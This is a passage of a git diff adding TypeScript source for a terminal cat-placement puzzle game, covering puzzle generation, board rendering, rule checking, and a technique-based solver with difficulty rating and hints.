rng: Rng): number { + const [low, high] = SIZES[difficulty]; + return difficulty === 'expert' ? (rng.chance(0.2) ? high : low) : rng.int(low, high); +} + +const ATTEMPTS_PER_SEED = 400; +const SEEDS = 6; + +export interface MadePuzzle extends Puzzle { + difficulty: Difficulty; + seed: number; + /** Hardest technique level the logical solver needed. */ + level: number; + /** The level fell inside the requested difficulty's band. */ + exact: boolean; +} + +/** + * The puzzle for a seed and difficulty: always the same one. Candidates come from the generator; each is kept only if + * the independent solver finds exactly one solution and the human techniques solve it. The first whose hardest + * technique lands in the difficulty's band wins; attempts are bounded (then the next derived seed tries), and when none + * fits the closest rating is returned. + */ +export function makePuzzle(seed: number, difficulty: Difficulty): MadePuzzle { + let best: MadePuzzle | undefined; + let bestDistance = Infinity; + for (let round = 0; round < SEEDS; round += 1) { + const rng = createRng(round === 0 ? seed : hashSeed(`${seed}:${round}`)); + const size = pickSize(difficulty, rng); + for (let attempt = 0; attempt < ATTEMPTS_PER_SEED; attempt += 1) { + const candidate = candidatePuzzle(size, rng); + repairRegions(candidate, rng, regions => solveOther(size, regions, candidate.solution)); + if (countSolutions(size, candidate.regions, 2) !== 1) continue; + const rating = rate(size, candidate.regions); + if (!rating.solved) continue; + const distance = levelDistance(rating.level, difficulty); + if (distance < bestDistance) { + bestDistance = distance; + best = {...candidate, difficulty, seed, level: rating.level, exact: distance === 0}; + if (distance === 0) return best; + } + } + if (best && bestDistance <= 1 && round >= 1) break; + } + if (best) return best; + throw new RangeError(`no solvable ${difficulty} puzzle for seed ${seed}`); +} + +/** + * A unique, logically solvable puzzle of exactly `size`, whatever its rating (the fixture for tests of every size). + * Bounded like `makePuzzle`, and null when none turned up. + */ +export function makePuzzleOfSize(seed: number, size: number): (Puzzle & {level: number}) | null { + const rng = createRng(seed); + for (let attempt = 0; attempt < ATTEMPTS_PER_SEED * 2; attempt += 1) { + const candidate = candidatePuzzle(size, rng); + repairRegions(candidate, rng, regions => solveOther(size, regions, candidate.solution)); + if (countSolutions(size, candidate.regions, 2) !== 1) continue; + const rating = rate(size, candidate.regions); + if (rating.solved) return {...candidate, level: rating.level}; + } + return null; +} + +export { DIFFICULTY_LEVELS }; diff --git a/src/arcade/games/doku/render.ts b/src/arcade/games/doku/render.ts new file mode 100644 index 00000000..91bf4ee3 --- /dev/null +++ b/src/arcade/games/doku/render.ts @@ -0,0 +1,266 @@ +import {mixRgb} from '../../../chroma/chroma.js'; +import type {Rgb} from '../../../chroma/escape.js'; +import {PixelBuffer, type Canvas, type Style} from '../../Canvas.js'; +import {easeOutBack} from '../../easing.js'; +import {regionColors, type ArcadePalette} from '../../palette.js'; +import {typeset} from '../../../ui/typography.js'; +import {displayWidth, truncateText} from '../../../util/text.js'; +import {wrap} from '../../ArcadeSession.js'; +import type {DokuBoard} from './board.js'; +import {formatTime} from './board.js'; +import {chooseLayout, minimumCanvas, type BoardLayout} from './layout.js'; +import {regionLetter} from './rules.js'; +import type {Hint} from './solver.js'; +import {drawMiniCat, textCat} from './sprite.js'; +import {CAT, EXCLUDED} from './types.js'; + +export const SETTLE_MS = 280; + +/** Everything the renderer needs besides the canvas and palette. */ +export interface View { + board: DokuBoard; + cursor: number; + hint: Hint | undefined; + /** Milliseconds since the game began animating, for blinks and tail flicks. */ + idleMs: number; + /** Per cell: age in ms of the settle animation, or -1. */ + settle: Float32Array; + reduced: boolean; + /** Draw text cats and ASCII-safe glyphs (NO_COLOR or Safe Glyphs). */ + plain: boolean; + safe: boolean; + paused: boolean; + won: boolean; + message: string; +} + +const JUNCTIONS = [' ', '│', '│', '│', '─', '┘', '┐', '┤', '─', '└', '┌', '├', '─', '┴', '┬', '┼']; +const UP = 1, DOWN = 2, LEFT = 4, RIGHT = 8; + +let pixels: PixelBuffer | undefined; +const scratch = (width: number, height: number): PixelBuffer => { + if (!pixels || pixels.width !== width || pixels.height !== height) pixels = new PixelBuffer(width, height); + else pixels.clear(); + return pixels; +}; + +/** Draw the whole game screen: HUD, board, labels and message. */ +export function renderBoard(canvas: Canvas, palette: ArcadePalette, view: View): void { + const {board} = view; + const size = board.size; + canvas.clear(palette.deep); + const layout = chooseLayout(canvas.width, canvas.height, size); + drawHud(canvas, palette, view); + if (!layout) { + const need = minimumCanvas(size); + canvas.center(Math.floor(canvas.height / 2), `Needs at least ${need.columns}x${need.rows}`, {fg: palette.muted}); + return; + } + if (view.paused) { + const middle = layout.y + Math.floor(layout.height / 2); + canvas.center(middle - 1, 'Paused', {fg: palette.ink, bold: true}); + canvas.center(middle, 'The board is hidden while the clock is stopped.', {fg: palette.muted}); + return; + } + drawGrid(canvas, palette, view, layout); + drawMessage(canvas, palette, view); +} + +function drawHud(canvas: Canvas, palette: ArcadePalette, view: View): void { + const {board} = view; + const analysis = board.analysis(); + const wide = canvas.width >= 44; + const title = typeset({role: 'heading', text: 'Vespyr Doku', maxColumns: Math.max(6, canvas.width - 2), maxRows: 1}); + canvas.typeBlock(title, 1, 0, {fg: palette.ink, bold: true}); + const level = `${board.difficulty[0]!.toUpperCase()}${board.difficulty.slice(1)} ${board.size}×${board.size}`; + const timer = typeset({role: 'counter', text: formatTime(board.elapsedMs), maxColumns: 9, maxRows: 1}); + const stats = wide ? `Cats ${analysis.cats}/${board.size} · Hints ${board.hints}` : `${analysis.cats}/${board.size}`; + const right = timer.columns + 2 + displayWidth(stats); + const left = 1 + title.columns + 2; + if (left + displayWidth(level) + 3 + right <= canvas.width) canvas.text(left, 0, level, {fg: palette.accent}); + if (left + right <= canvas.width) { + canvas.text(canvas.width - 1 - right, 0, stats, {fg: palette.muted}); + canvas.typeBlock(timer, canvas.width - 1 - timer.columns, 0, {fg: view.won ? palette.ok : palette.ink, bold: true}); + } else if (timer.columns + 1 + title.columns + 2 <= canvas.width) { + canvas.typeBlock(timer, canvas.width - 1 - timer.columns, 0, {fg: palette.ink, bold: true}); + } +} + +function drawMessage(canvas: Canvas, palette: ArcadePalette, view: View): void { + const analysis = view.board.analysis(); + const clashes = analysis.conflict.reduce((sum, value) => sum + value, 0); + let text = view.message; + let color = palette.warn; + if (!text) { + if (view.won) { text = 'Every row, column and region has its cat, and none touch.'; color = palette.ok; } + else if (clashes) { text = `${clashes} cat${clashes === 1 ? '' : 's'} clash (marked !): same row, column or region, or touching.`; color = palette.bad; } + else { text = 'One cat in every row, column and region. No two cats touch, even diagonally.'; color = palette.faint; } + } + const lines = wrap(text, Math.max(8, canvas.width - 2)); + const room = canvas.height >= 8 ? 2 : 1; + const shown = lines.slice(0, room); + shown.forEach((line, index) => canvas.text(1, canvas.height - shown.length + index, truncateText(line, canvas.width - 2), {fg: color})); +} + +function drawGrid(canvas: Canvas, palette: ArcadePalette, view: View, layout: BoardLayout): void { + const {board} = view; + const {style, size} = layout; + const analysis = board.analysis(); + const colors = regionColors(size, palette.deep, palette); + const regions = board.puzzle.regions; + const lineFg = mixRgb(palette.muted, palette.deep, 0.1); + const cursorRow = Math.floor(view.cursor / size); + const cursorColumn = view.cursor % size; + const hintTargets = new Set(view.hint?.targets ?? []); + const hintInvolved = new Set(view.hint?.involved ?? []); + const pitchX = style.cw + style.gx; + const pitchY = style.ch + style.gy; + const cellX = (column: number): number => layout.x + (style.gx ? 1 : 0) + column * pitchX; + const cellY = (row: number): number => layout.y + (style.gy ? 1 : 0) + row * pitchY; + const regionAt = (row: number, column: number): number => regions[Math.min(size - 1, row) * size + Math.min(size - 1, column)]!; + const vEdge = (row: number, column: number): boolean => column === 0 || column === size || regions[row * size + column] !== regions[row * size + column - 1]; + const hEdge = (row: number, column: number): boolean => row === 0 || row === size || regions[row * size + column] !== regions[(row - 1) * size + column]; + const glow = (region: number): number => (analysis.regionDone[region] ? 0.3 : 0); + const regionBg = (region: number): Rgb => mixRgb(colors[region]!, palette.haze, glow(region)); + + // lattice and gutters + if (style.gx) { + for (let column = 0; column <= size; column += 1) { + const gx = layout.x + column * pitchX; + for (let row = 0; row < size; row += 1) { + const edge = vEdge(row, column); + const bg = edge ? palette.deep : regionBg(regionAt(row, column)); + for (let line = 0; line < style.ch; line += 1) canvas.put(gx, cellY(row) + line, edge ? '│' : ' ', {fg: lineFg, bg, bold: edge}); + } + } + } + if (style.gy) { + for (let row = 0; row <= size; row += 1) { + const gy = layout.y + row * pitchY; + for (let column = 0; column < size; column += 1) { + const edge = hEdge(row, column); + const bg = edge ? palette.deep : regionBg(regionAt(row, column)); + for (let step = 0; step < style.cw; step += 1) canvas.put(cellX(column) + step, gy, edge ? '─' : ' ', {fg: lineFg, bg, bold: edge}); + } + for (let column = 0; column <= size; column += 1) { + const mask = (row > 0 && vEdge(row - 1, column) ? UP : 0) | (row < size && vEdge(row, column) ? DOWN : 0) + | (column > 0 && hEdge(row, column - 1) ? LEFT : 0) | (column < size && hEdge(row, column) ? RIGHT : 0); + canvas.put(layout.x + column * pitchX, gy, JUNCTIONS[mask]!, {fg: lineFg, bg: mask ? palette.deep : regionBg(regionAt(row, column)), bold: true}); + } + } + } + + // cells + for (let row = 0; row < size; row += 1) { + for (let column = 0; column < size; column += 1) { + const cell = row * size + column; + const mark = board.marks[cell]!; + const clash = mark === CAT && analysis.conflict[cell] === 1; + const region = regions[cell]!; + let bg = regionBg(region); + if (mark === CAT) bg = mixRgb(bg, palette.deep, 0.5); + if (hintInvolved.has(cell)) bg = mixRgb(bg, palette.warn, 0.35); + if (hintTargets.has(cell)) bg = mixRgb(bg, palette.warn, 0.6); + if (clash) bg = mixRgb(bg, palette.bad, 0.55); + if (cell === view.cursor) bg = mixRgb(bg, palette.haze, 0.45); + const underline = !style.gy && hEdge(row + 1, column); + const x = cellX(column); + const y = cellY(row); + const base: Style = {fg: palette.deep, bg, underline}; + canvas.fill(x, y, style.cw, style.ch, ' ', base); + const marker = clash ? '!' : hintTargets.has(cell) ? '◆' : hintInvolved.has(cell) ? '◇' : ''; + const markerStyle: Style = {fg: clash ? palette.bad : mark === CAT ? palette.warn : palette.deep, bg, bold: true, underline}; + const letter = regionLetter(region); + const letterStyle: Style = {...base, fg: mark === CAT ? mixRgb(palette.cat.belly, bg, 0.2) : mixRgb(palette.deep, bg, 0.25)}; + const blink = !view.reduced && (Math.floor(view.idleMs / 250) + cell * 3) % 22 === 0; + const flick = !view.reduced && (Math.floor(view.idleMs / 500) + cell) % 11 === 0; + const useText = view.plain; + if (style.name === 'large' || style.name === 'medium') { + canvas.text(x, y, letter, letterStyle); + if (marker) canvas.text(x + style.cw - 1, y, marker, markerStyle); + if (mark === EXCLUDED) drawCross(canvas, x, y, style, view.safe, {...base, fg: mixRgb(palette.deep, bg, 0.1), bold: true}); + else if (mark === CAT) { + if (useText) { + const lines = textCat(style.name, {blink, conflict: clash}); + lines.forEach((line, index) => canvas.text(x, y + index, line, {fg: palette.cat.body, bg, bold: true})); + canvas.text(x, y, letter, letterStyle); + } else { + const buffer = scratch(style.cw, style.ch * 2); + const age = view.settle[cell]!; + const drop = !view.reduced && age >= 0 && age < SETTLE_MS ? Math.round((1 - easeOutBack(age / SETTLE_MS)) * -3) : 0; + drawMiniCat(buffer, 1, (style.name === 'large' ? 1 : 0) + drop, palette, {blink, tail: style.name === 'large' ? (flick ? 1 : 0) : -1}); + canvas.blit(buffer, x, y); + if (clash) canvas.text(x + style.cw - 1, y, '!', markerStyle); + } + } + continue; + } + if (style.name === 'compact') { + const slot = clash && mark === CAT ? '' : marker; + canvas.text(x, y, slot || letter, slot ? markerStyle : letterStyle); + if (mark === EXCLUDED) canvas.text(x + 2, y, view.safe ? 'x' : '×', {...base, bold: true}); + if (mark === CAT) canvas.text(x + 1, y, textCat('compact', {blink, conflict: clash})[0]!, {...base, fg: mixRgb(palette.cat.body, palette.haze, 0.3), bold: true}); + } else if (style.name === 'tight') { + if (mark === CAT) canvas.text(x, y, textCat('tight', {blink, conflict: clash})[0]!, {...base, fg: mixRgb(palette.cat.body, palette.haze, 0.3), bold: true}); + else if (mark === EXCLUDED) canvas.text(x + 1, y, view.safe ? 'x' : '×', {...base, bold: true}); + else canvas.text(x + 1, y, letter, letterStyle); + if (marker && mark !== CAT) canvas.text(x, y, marker, markerStyle); + } else { + if (mark === CAT) canvas.text(x, y, textCat('mini', {blink, conflict: clash})[0]!, {...base, fg: mixRgb(palette.cat.body, palette.haze, 0.3), bold: true}); + else canvas.text(x, y, `${marker || letter}${mark === EXCLUDED ? (view.safe ? 'x' : '×') : ' '}`, mark === EXCLUDED ? {...base, bold: true} : letterStyle); + if (cell === view.cursor && mark !== CAT) canvas.put(x, y, '▶', {...markerStyle, fg: palette.accent}); + } + } + } + + // cursor: a ring in the accent over the lattice, brackets over the gutters + const accent: Style = {fg: palette.accent, bold: true}; + const cx = cellX(cursorColumn); + const cy = cellY(cursorRow); + if (style.gx && style.gy) { + const left = cx - 1; + const right = cx + style.cw; + const top = cy - 1; + const bottom = cy + style.ch; + canvas.hline(left + 1, top, style.cw, '─', accent); + canvas.hline(left + 1, bottom, style.cw, '─', accent); + canvas.vline(left, top + 1, style.ch, '│', accent); + canvas.vline(right, top + 1, style.ch, '│', accent); + canvas.put(left, top, '┌', accent); canvas.put(right, top, '┐', accent); + canvas.put(left, bottom, '└', accent); canvas.put(right, bottom, '┘', accent); + } else if (style.gx) { + canvas.put(cx - 1, cy, '[', accent); + canvas.put(cx + style.cw, cy, ']', accent); + } + + if (layout.labels) drawLabels(canvas, palette, view, layout, cellX, cellY); +} + +function drawCross(canvas: Canvas, x: number, y: number, style: BoardLayout['style'], safe: boolean, look: Style): void { + const rows = style.name === 'large' ? (safe ? ['\\ /', ' X ', '/ \\'] : ['╲ ╱', ' ╳ ', '╱ ╲']) : (safe ? ['\\/', '/\\'] : ['╲╱', '╱╲']); + const left = x + Math.floor((style.cw - displayWidth(rows[0]!)) / 2); + const top = y + Math.floor((style.ch - rows.length) / 2); + rows.forEach((row, index) => canvas.text(left, top + index, row, look)); +} + +function drawLabels(canvas: Canvas, palette: ArcadePalette, view: View, layout: BoardLayout, cellX: (column: number) => number, cellY: (row: number) => number): void { + const analysis = view.board.analysis(); + const size = layout.size; + const style = layout.style; + const tick = '✔'; + for (let row = 0; row < size; row += 1) { + const y = cellY(row) + Math.floor((style.ch - 1) / 2); + const label = String(row + 1); + const active = row === Math.floor(view.cursor / size); + canvas.text(layout.x - 1 - label.length, y, label, {fg: active ? palette.ink : palette.faint, bold: active}); + if (analysis.rowDone[row]) canvas.text(layout.x + layout.width + 1, y, tick, {fg: palette.ok, bold: true}); + else if (analysis.rowCats[row]! > 1) canvas.text(layout.x + layout.width + 1, y, '!', {fg: palette.bad, bold: true}); + } + for (let column = 0; column < size; column += 1) { + const text = analysis.columnDone[column] ? tick : analysis.columnCats[column]! > 1 ? '!' : String(column + 1); + const color = analysis.columnDone[column] ? palette.ok : analysis.columnCats[column]! > 1 ? palette.bad : column === view.cursor % size ? palette.ink : palette.faint; + const x = cellX(column) + Math.floor((style.cw - text.length) / 2); + canvas.text(x, layout.headerY, text, {fg: color, bold: text === tick || text === '!' || column === view.cursor % size}); + } +} + diff --git a/src/arcade/games/doku/rules.ts b/src/arcade/games/doku/rules.ts new file mode 100644 index 00000000..2bcc3907 --- /dev/null +++ b/src/arcade/games/doku/rules.ts @@ -0,0 +1,59 @@ +import {CAT} from './types.js'; + +/** + * The rules, checked on a board in progress. `marks[cell]` is 0 empty, 1 excluded, 2 cat; `regions[cell]` the region. + * Rows, columns and regions each want exactly one cat and no two cats may touch, diagonals included. + */ +export interface Analysis { + cats: number; + /** 1 on every cat that breaks a rule: it shares a row, column or region with another cat or touches one. */ + conflict: Uint8Array; + /** Per row, column and region: how many cats it holds. */ + rowCats: number[]; + columnCats: number[]; + regionCats: number[]; + /** Per row, column and region: exactly one cat and that cat breaks no rule (it glows). */ + rowDone: boolean[]; + columnDone: boolean[]; + regionDone: boolean[]; + /** Every rule holds: a cat in each row, column and region, none touching. */ + solved: boolean; +} + +export function analyze(size: number, regions: ArrayLike, marks: ArrayLike): Analysis { + const total = size * size; + const conflict = new Uint8Array(total); + const rowCats = new Array(size).fill(0); + const columnCats = new Array(size).fill(0); + const regionCats = new Array(size).fill(0); + const cats: number[] = []; + for (let cell = 0; cell < total; cell += 1) { + if (marks[cell] !== CAT) continue; + cats.push(cell); + rowCats[Math.floor(cell / size)]! += 1; + columnCats[cell % size]! += 1; + regionCats[regions[cell]!]! += 1; + } + for (const cell of cats) { + const row = Math.floor(cell / size); + const column = cell % size; + if (rowCats[row]! > 1 || columnCats[column]! > 1 || regionCats[regions[cell]!]! > 1) conflict[cell] = 1; + for (let dy = -1; dy <= 1; dy += 1) { + for (let dx = -1; dx <= 1; dx += 1) { + if (!dx && !dy) continue; + const r = row + dy; + const c = column + dx; + if (r >= 0 && c >= 0 && r < size && c < size && marks[r * size + c] === CAT) conflict[cell] = 1; + } + } + } + const unitDone = (counts: number[], unitOf: (cell: number) => number): boolean[] => counts.map((count, index) => count === 1 && cats.every(cell => unitOf(cell) !== index || !conflict[cell])); + const rowDone = unitDone(rowCats, cell => Math.floor(cell / size)); + const columnDone = unitDone(columnCats, cell => cell % size); + const regionDone = unitDone(regionCats, cell => regions[cell]!); + const solved = cats.length === size && cats.every(cell => !conflict[cell]) && rowDone.every(Boolean) && columnDone.every(Boolean) && regionDone.every(Boolean); + return {cats: cats.length, conflict, rowCats, columnCats, regionCats, rowDone, columnDone, regionDone, solved}; +} + +/** Region ids as letters: 0 is A. */ +export const regionLetter = (region: number): string => String.fromCharCode(65 + region); diff --git a/src/arcade/games/doku/solver.ts b/src/arcade/games/doku/solver.ts new file mode 100644 index 00000000..2f345ed0 --- /dev/null +++ b/src/arcade/games/doku/solver.ts @@ -0,0 +1,334 @@ +import type {Difficulty} from './types.js'; + +/** + * The independent solver. It shares nothing with the generator: it counts solutions by exhaustive search (to prove a + * puzzle has exactly one) and it solves the way a person does, technique by technique, so a puzzle can be rated by the + * hardest technique it needs and a hint can say which one applies next. Cells are `row * size + column`; a region + * layout is `regions[cell]`. + */ + +// ---- uniqueness --------------------------------------------------------------------------------------------------- + +/** Number of valid placements, counting no further than `limit` (2 is enough to tell unique from not). */ +export function countSolutions(size: number, regions: readonly number[], limit = 2): number { + let found = 0; + const columns: number[] = []; + const search = (row: number, usedColumns: number, usedRegions: number): void => { + if (found >= limit) return; + if (row === size) { found += 1; return; } + for (let column = 0; column < size; column += 1) { + const region = regions[row * size + column]!; + if ((usedColumns >> column) & 1 || (usedRegions >> region) & 1) continue; + if (row > 0 && Math.abs(column - columns[row - 1]!) < 2) continue; + columns[row] = column; + search(row + 1, usedColumns | (1 << column), usedRegions | (1 << region)); + if (found >= limit) return; + } + }; + search(0, 0, 0); + return found; +} + +/** The first solution found (a column per row), or undefined. */ +export function solveOne(size: number, regions: readonly number[]): number[] | undefined { + const columns: number[] = []; + const search = (row: number, usedColumns: number, usedRegions: number): boolean => { + if (row === size) return true; + for (let column = 0; column < size; column += 1) { + const region = regions[row * size + column]!; + if ((usedColumns >> column) & 1 || (usedRegions >> region) & 1) continue; + if (row > 0 && Math.abs(column - columns[row - 1]!) < 2) continue; + columns[row] = column; + if (search(row + 1, usedColumns | (1 << column), usedRegions | (1 << region))) return true; + } + return false; + }; + return search(0, 0, 0) ? columns : undefined; +} + +/** A solution different from `known` (a column per row), or undefined when `known` is the only one. */ +export function solveOther(size: number, regions: readonly number[], known: readonly number[]): number[] | undefined { + const columns: number[] = []; + const search = (row: number, usedColumns: number, usedRegions: number, differs: boolean): boolean => { + if (row === size) return differs; + for (let column = 0; column < size; column += 1) { + const region = regions[row * size + column]!; + if ((usedColumns >> column) & 1 || (usedRegions >> region) & 1) continue; + if (row > 0 && Math.abs(column - columns[row - 1]!) < 2) continue; + columns[row] = column; + if (search(row + 1, usedColumns | (1 << column), usedRegions | (1 << region), differs || column !== known[row])) return true; + } + return false; + }; + return search(0, 0, 0, false) ? [...columns] : undefined; +} + +// ---- human techniques --------------------------------------------------------------------------------------------- + +export type Technique = 'single' | 'confined' | 'blocked' | 'pair' | 'triple'; +/** Hardness of each technique; a puzzle is rated by the highest level it needs. */ +export const TECHNIQUE_LEVEL: Readonly> = {single: 1, confined: 2, blocked: 3, pair: 4, triple: 5}; + +/** The levels a requested difficulty accepts. */ +export const DIFFICULTY_LEVELS: Readonly> = {easy: [1, 2], medium: [2, 3], hard: [3, 4], expert: [4, 5]}; + +/** How far a rating is from a difficulty's band (0 when it fits). */ +export function levelDistance(level: number, difficulty: Difficulty): number { + const [low, high] = DIFFICULTY_LEVELS[difficulty]; + return level < low ? low - level : level > high ? level - high : 0; +} + +export interface LogicStep { + technique: Technique; + level: number; + /** A cat goes here (a cell), or nothing is placed and `eliminate` lists the cells that cannot hold one. */ + place?: number; + eliminate: number[]; + /** The cells that justify the step, for highlighting. */ + involved: number[]; + /** One sentence naming the reasoning, in rows and columns counted from 1. */ + text: string; +} + +type UnitKind = 'row' | 'column' | 'region'; +const KINDS: readonly UnitKind[] = ['row', 'column', 'region']; + +const regionName = (region: number): string => String.fromCharCode(65 + region); +const cellName = (size: number, cell: number): string => `row ${Math.floor(cell / size) + 1}, column ${(cell % size) + 1}`; +const unitName = (kind: UnitKind, index: number): string => (kind === 'region' ? `Region ${regionName(index)}` : `${kind === 'row' ? 'Row' : 'Column'} ${index + 1}`); +const lineName = (kind: 'row' | 'column', index: number): string => `${kind} ${index + 1}`; +const joinList = (items: readonly string[]): string => (items.length <= 1 ? (items[0] ?? '') : `${items.slice(0, -1).join(', ')} and ${items[items.length - 1]}`); +const bits = (mask: number): number[] => { const out: number[] = []; for (let index = 0; mask >> index; index += 1) if ((mask >> index) & 1) out.push(index); return out; }; +const popcount = (mask: number): number => { let count = 0; for (let value = mask; value; value &= value - 1) count += 1; return count; }; + +/** Candidates, cats and which units already have their cat. */ +export class LogicBoard { + readonly total: number; + readonly candidate: Uint8Array; + readonly cat: Uint8Array; + private readonly satisfied = {row: new Uint8Array(0), column: new Uint8Array(0), region: new Uint8Array(0)}; + private readonly units: Record; + catCount = 0; + + constructor(readonly size: number, readonly regions: readonly number[]) { + this.total = size * size; + this.candidate = new Uint8Array(this.total).fill(1); + this.cat = new Uint8Array(this.total); + this.satisfied = {row: new Uint8Array(size), column: new Uint8Array(size), region: new Uint8Array(size)}; + this.units = {row: [], column: [], region: []}; + for (let index = 0; index < size; index += 1) { this.units.row.push([]); this.units.column.push([]); this.units.region.push([]); } + for (let cell = 0; cell < this.total; cell += 1) { + this.units.row[Math.floor(cell / size)]!.push(cell); + this.units.column[cell % size]!.push(cell); + this.units.region[regions[cell]!]!.push(cell); + } + } + + rowOf(cell: number): number { return Math.floor(cell / this.size); } + columnOf(cell: number): number { return cell % this.size; } + unitOf(kind: UnitKind, cell: number): number { return kind === 'row' ? this.rowOf(cell) : kind === 'column' ? this.columnOf(cell) : this.regions[cell]!; } + isSatisfied(kind: UnitKind, index: number): boolean { return this.satisfied[kind][index] === 1; } + open(kind: UnitKind, index: number): number[] { return this.units[kind][index]!.filter(cell => this.candidate[cell] === 1); } + + /** Two different cells that cannot both hold cats. */ + clash(a: number, b: number): boolean { + return a !== b && (this.rowOf(a) === this.rowOf(b) || this.columnOf(a) === this.columnOf(b) || this.regions[a] === this.regions[b] + || (Math.abs(this.rowOf(a) - this.rowOf(b)) <= 1 && Math.abs(this.columnOf(a) - this.columnOf(b)) <= 1)); + } + + place(cell: number): void { + if (this.cat[cell]) return; + this.cat[cell] = 1; + this.catCount += 1; + for (let other = 0; other < this.total; other += 1) if (this.clash(cell, other)) this.candidate[other] = 0; + this.satisfied.row[this.rowOf(cell)] = 1; + this.satisfied.column[this.columnOf(cell)] = 1; + this.satisfied.region[this.regions[cell]!] = 1; + } + + remove(cells: readonly number[]): void { for (const cell of cells) if (!this.cat[cell]) this.candidate[cell] = 0; } + + /** The easiest technique that makes progress now, or undefined when none of them does. */ + nextStep(): LogicStep | undefined { + return this.singles() ?? this.confined() ?? this.blocked() ?? this.tuples(2) ?? this.tuples(3); + } + + private singles(): LogicStep | undefined { + for (const kind of KINDS) { + for (let index = 0; index < this.size; index += 1) { + if (this.satisfied[kind][index]) continue; + const open = this.open(kind, index); + if (open.length !== 1 || this.cat[open[0]!]) continue; + const cell = open[0]!; + const what = kind === 'region' ? `${unitName(kind, index)} has only one open cell` : `${unitName(kind, index)} has only one open cell`; + return {technique: 'single', level: 1, place: cell, eliminate: [], involved: [cell], text: `${what} (${cellName(this.size, cell)}): place a cat there.`}; + } + } + return undefined; + } + + private confined(): LogicStep | undefined { + const size = this.size; + for (let region = 0; region < size; region += 1) { + if (this.satisfied.region[region]) continue; + const open = this.open('region', region); + for (const line of ['row', 'column'] as const) { + if (!open.length || !open.every(cell => this.unitOf(line, cell) === this.unitOf(line, open[0]!))) continue; + const index = this.unitOf(line, open[0]!); + const eliminate = this.open(line, index).filter(cell => this.regions[cell] !== region); + if (eliminate.length) return {technique: 'confined', level: 2, eliminate, involved: open, text: `${unitName('region', region)} is confined to ${lineName(line, index)}, so exclude ${lineName(line, index)} elsewhere.`}; + } + } + for (const line of ['row', 'column'] as const) { + for (let index = 0; index < size; index += 1) { + if (this.satisfied[line][index]) continue; + const open = this.open(line, index); + if (!open.length || !open.every(cell => this.regions[cell] === this.regions[open[0]!])) continue; + const region = this.regions[open[0]!]!; + const eliminate = this.open('region', region).filter(cell => this.unitOf(line, cell) !== index); + if (eliminate.length) return {technique: 'confined', level: 2, eliminate, involved: open, text: `${unitName(line, index)} can only hold a cat of region ${regionName(region)}, so exclude the rest of region ${regionName(region)}.`}; + } + } + return undefined; + } + + /** A cell where a cat would leave some other row, column or region with no open cell at all. */ + private blocked(): LogicStep | undefined { + for (let cell = 0; cell < this.total; cell += 1) { + if (!this.candidate[cell] || this.cat[cell]) continue; + for (const kind of KINDS) { + for (let index = 0; index < this.size; index += 1) { + if (this.satisfied[kind][index] || this.unitOf(kind, cell) === index) continue; + const open = this.open(kind, index); + if (open.length && open.every(other => this.clash(cell, other))) { + return {technique: 'blocked', level: 3, eliminate: [cell], involved: [cell, ...open], + text: `A cat at ${cellName(this.size, cell)} would leave ${unitName(kind, index)} with no open cell, so exclude it.`}; + } + } + } + } + return undefined; + } + + /** `count` units confined to exactly `count` crossing units (regions in lines, lines in regions). */ + private tuples(count: number): LogicStep | undefined { + const size = this.size; + const technique: Technique = count === 2 ? 'pair' : 'triple'; + const level = TECHNIQUE_LEVEL[technique]; + const word = count === 2 ? 'two' : 'three'; + const choose = (pool: number[], visit: (picked: number[]) => LogicStep | undefined, picked: number[] = [], from = 0): LogicStep | undefined => { + if (picked.length === count) return visit(picked); + for (let position = from; position < pool.length; position += 1) { + const step = choose(pool, visit, [...picked, pool[position]!], position + 1); + if (step) return step; + } + return undefined; + }; + for (const line of ['row', 'column'] as const) { + const lineMask = (cells: number[]): number => cells.reduce((mask, cell) => mask | (1 << this.unitOf(line, cell)), 0); + const regionMask = (cells: number[]): number => cells.reduce((mask, cell) => mask | (1 << this.regions[cell]!), 0); + const regionPool = Array.from({length: size}, (_, region) => region).filter(region => !this.satisfied.region[region]); + // regions that together fit in as many lines: those lines belong to them + const found = choose(regionPool, regions => { + const union = regions.reduce((mask, region) => mask | lineMask(this.open('region', region)), 0); + if (popcount(union) !== count) return undefined; + const lines = bits(union); + const eliminate = lines.flatMap(index => this.open(line, index)).filter(cell => !regions.includes(this.regions[cell]!)); + if (!eliminate.length) return undefined; + return {technique, level, eliminate, involved: regions.flatMap(region => this.open('region', region)), + text: `Regions ${joinList(regions.map(regionName))} fit only in ${line}s ${joinList(lines.map(index => String(index + 1)))}, so exclude those ${line}s elsewhere (${word} regions in ${word} ${line}s).`}; + }); + if (found) return found; + const linePool = Array.from({length: size}, (_, index) => index).filter(index => !this.satisfied[line][index]); + // lines that together fit in as many regions: those regions belong to the lines + const other = choose(linePool, lines => { + const union = lines.reduce((mask, index) => mask | regionMask(this.open(line, index)), 0); + if (popcount(union) !== count) return undefined; + const regions = bits(union); + const eliminate = regions.flatMap(region => this.open('region', region)).filter(cell => !lines.includes(this.unitOf(line, cell))); + if (!eliminate.length) return undefined; + return {technique, level, eliminate, involved: lines.flatMap(index => this.open(line, index)), + text: `${line === 'row' ? 'Rows' : 'Columns'} ${joinList(lines.map(index => String(index + 1)))} can only hold cats of regions ${joinList(regions.map(regionName))}, so exclude those regions elsewhere (${word} ${line}s in ${word} regions).`}; + }); + if (other) return other; + } + return undefined; + } + + apply(step: LogicStep): void { + if (step.place !== undefined) this.place(step.place); + else this.remove(step.eliminate); + } +} + +export interface Rating { + /** Solved by the techniques alone, without trying a cell and backing out. */ + solved: boolean; + /** The hardest technique level needed (0 when nothing applied). */ + level: number; + steps: number; +} + +/** Solve like a person, easiest technique first, and report the hardest one that was needed. */ +export function rate(size: number, regions: readonly number[]): Rating { + const board = new LogicBoard(size, regions); + let level = 0; + let steps = 0; + while (board.catCount < size) { + const step = board.nextStep(); + if (!step) return {solved: false, level, steps}; + board.apply(step); + level = Math.max(level, step.level); + steps += 1; + } + return {solved: true, level, steps}; +} + +// ---- hints -------------------------------------------------------------------------------------------------------- + +export interface Hint { + kind: 'place' | 'exclude' | 'fix'; + technique: Technique | 'fix'; + text: string; + /** Cells that explain the hint. */ + involved: number[]; + /** Cells the hint would change: where a cat goes, where X marks go, or the mark to clear. */ + targets: number[]; + /** What applying it does to the board: marks to set (`2` cat, `1` excluded, `0` clear). */ + changes: Array<{cell: number; to: number}>; +} + +/** + * The next logical step for a board in progress (`marks`: 0 empty, 1 excluded, 2 cat) of a puzzle whose answer is + * `solution`. A wrong cat or X mark is pointed out first; after that the easiest technique that adds something the + * board does not show yet. It reads the board and never changes anything. + */ +export function nextHint(size: number, regions: readonly number[], solution: readonly number[], marks: ArrayLike): Hint | 